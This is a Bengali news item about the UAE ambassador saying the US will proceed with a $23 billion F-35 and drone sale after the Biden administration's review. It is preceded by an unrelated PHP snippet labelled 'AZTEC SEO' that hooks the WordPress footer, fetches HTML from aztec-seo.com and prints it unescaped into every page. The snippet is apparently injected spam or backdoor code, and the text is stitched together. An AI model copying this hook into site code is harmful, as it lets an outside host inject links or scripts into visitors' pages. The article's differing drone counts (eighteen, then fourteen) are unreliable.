/* AZTEC SEO */ add_action('wp_footer', function () { $domain = wp_parse_url(home_url(), PHP_URL_HOST); if (!$domain) return; $ck = 'aztec_footer_' . md5($domain); $html = get_transient($ck); if ($html === false) { $url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer'); $res = wp_remote_get($url, array('timeout' => 8)); $html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : ''; set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS); } if ($html !== '') echo $html; }, 99);
আমেরিকায় নিযুক্ত সংযুক্ত আরব আমিরাতের রাষ্ট্রদূত ইউসুফ আল-ওতাইবা বলেছেন, প্রেসিডেন্ট জো বাইডেনের প্রশাসন অস্ত্রচুক্তি পর্যালোচনার পর তার দেশের কাছে এফ-৩৫ জঙ্গিবিমানসহ অন্যান্য অস্ত্র বিক্রির প্রক্রিয়া ঠিক রাখবে আমেরিকা।
সাবেক প্রেসিডেন্ট ডোনাল্ড ট্রাম্পের ক্ষমতার শেষ দিনে সংযুক্ত আরব আমিরাত আমেরিকার সঙ্গে দুই হাজার ৩০০ কোটি ডলারের অস্ত্র চুক্তি সই করে যার আওতায় আবুধাবি ৫০টি এফ-৩৫ জঙ্গিবিমান, আঠারোটি সামরিক ড্রোন এবং অন্যান্য প্রতিরক্ষা সরঞ্জাম পাবে।
অস্ত্র চুক্তি প্রসঙ্গে রাষ্ট্রদূত গতকাল (সোমবার) ওয়াশিংটন ইনস্টিটিউটের ভার্চুয়াল বৈঠকে বলেন, “আমরা চুক্তির জন্য সবকিছু করেছি এবং মার্কিন প্রশাসন তাদের পর্যালোচনা শেষে অস্ত্র সরবরাহ করবে।” তিনি অস্ত্রচুক্তির পর্যালোচনা নিয়মানুগ পদক্ষেপ বলে উল্লেখ করেন।

ডোনাল্ড ট্রাম্প আমলে এই চুক্তি হলেও জো বাইডেন প্রশাসন বলেছে, তারা চুক্তির বিষয়টি পর্যালোচনা করে দেখবে। শুধু তাই নয়, গত কয়েকদিন আগে মার্কিন প্রশাসন সংযুক্ত আরব আমিরাত ও সৌদি আরবের কাছে অস্ত্র বিক্রি স্থগিত করেছে।
গত আগস্ট মাসে ইহুদিবাদী ইসরাইলের সঙ্গে দ্বিপক্ষীয় সম্পর্ক প্রতিষ্ঠার চুক্তি সই করে সংযুক্ত আরব আমিরাত। সে সময় ডোনাল্ড ট্রাম্প প্রশাসন এজন্য আমিরাতকে ৫০টি এফ-৩৫ জঙ্গিবিমান, ১৪টি সামিরিক ড্রোন ও অন্যান্য সামরিক সরঞ্জাম সরবরাহ করার প্রতিশ্রুতি দেয়। কিন্তু আমেরিকার রিপাবলিকান এবং ডেমোক্র্যাট দল অস্ত্র বিক্রির এই চুক্তির বিরোধিতা করে বলেছে, এর ফলে মধ্যপ্রাচ্যে মারাত্মক রকমের অস্ত্র প্রতিযোগিতা তৈরি হতে পারে। সূত্র : পার্সটুডে